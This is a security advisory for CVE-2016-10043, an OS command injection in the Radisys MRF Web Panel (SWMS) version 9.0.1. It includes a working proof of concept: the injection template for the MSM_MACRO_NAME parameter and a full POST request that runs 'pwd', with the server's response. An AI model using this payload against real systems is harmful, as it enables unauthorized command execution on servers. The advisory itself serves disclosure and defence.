Radisys MRF - Command Injection

Title:      MRF Web Panel OS Command Injection

Vendor:     Radisys

Vendor Homepage: http://www.radisys.com

Product:    MRF Web Panel (SWMS)

Version:    9.0.1

CVE:        CVE-2016-10043

CWE:        CWE-78

Risk Level: High



Discovery:  Filippos Mastrogiannis, Loukas Alkis & Dimitrios Maragkos

            COSMOTE (OTE Group) Information & Network Security



-----------------------------------------------------------------------------------------





Vulnerability Details:



The MRF Web Panel (SWMS) is vulnerable to OS Command Injection

attacks.



> Affected parameter: MSM_MACRO_NAME (POST parameter)

> Affected file: ms.cgi (/swms/ms.cgi)

> Verified Affected Operation: Show Fatal Error and Log Package Configuration



It is possible to use the pipe character (|) to inject arbitrary OS commands

and retrieve the output in the application's responses:



MSM_MACRO_NAME=Show_Fatal_Error_Configuration|||a #' |<command>||a #|" |||a #





Proof Of Concept:



1. Login to the vulnerable MRF web panel (with a standard user account): 

   https://<vulnerable>/swms

2. Fire up your favorite intercepting proxy tool (Burp Suite, OWASP ZAP etc)

3. Modify and send the following POST request:



POST /swms/ms.cgi HTTP/1.1

Host: <vulnerable>

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Referer: https://<vulnerable>/swms/ms.cgi?MSM_SID=<session_id>&MSM_MACRO_NAME=Show_Fatal_Error_Configuration&MSM_MACRO_CATEGORY=%3CMSM_MACRO_CATEGORY%3E&PROGRAM=IO&MSM_MACRO_INPUT=-GETFIRSTINPUT

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 213



MSM_SID=<session_id>&MSM_MACRO_NAME=Show_Fatal_Error_Configuration|||a%20%23'%20|pwd||a%20%23|"%20|||a%20%23&MSM_MACRO_CATEGORY=%3CMSM_MACRO_CATEGORY%3E&PROGRAM=IO&MSM_MACRO_INPUT=-EXECUTE&Btn_Execute=Execute



4. Check the output of the injected command 'pwd' in the response:



HTTP/1.1 200 OK

Date: Thu, 21 Jul 2016 08:18:43 GMT

Server: Apache

Cache-Control: no-cache

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 23



/var/opt/swms/www/html





Vulnerability Impact:



Application's own data and functionality or the web server can be compromised due

to OS command injection vulnerabilities. It may also be possible to use the server

as a platform for attacks against other systems.





Disclaimer:



The responsible disclosure policy has been followed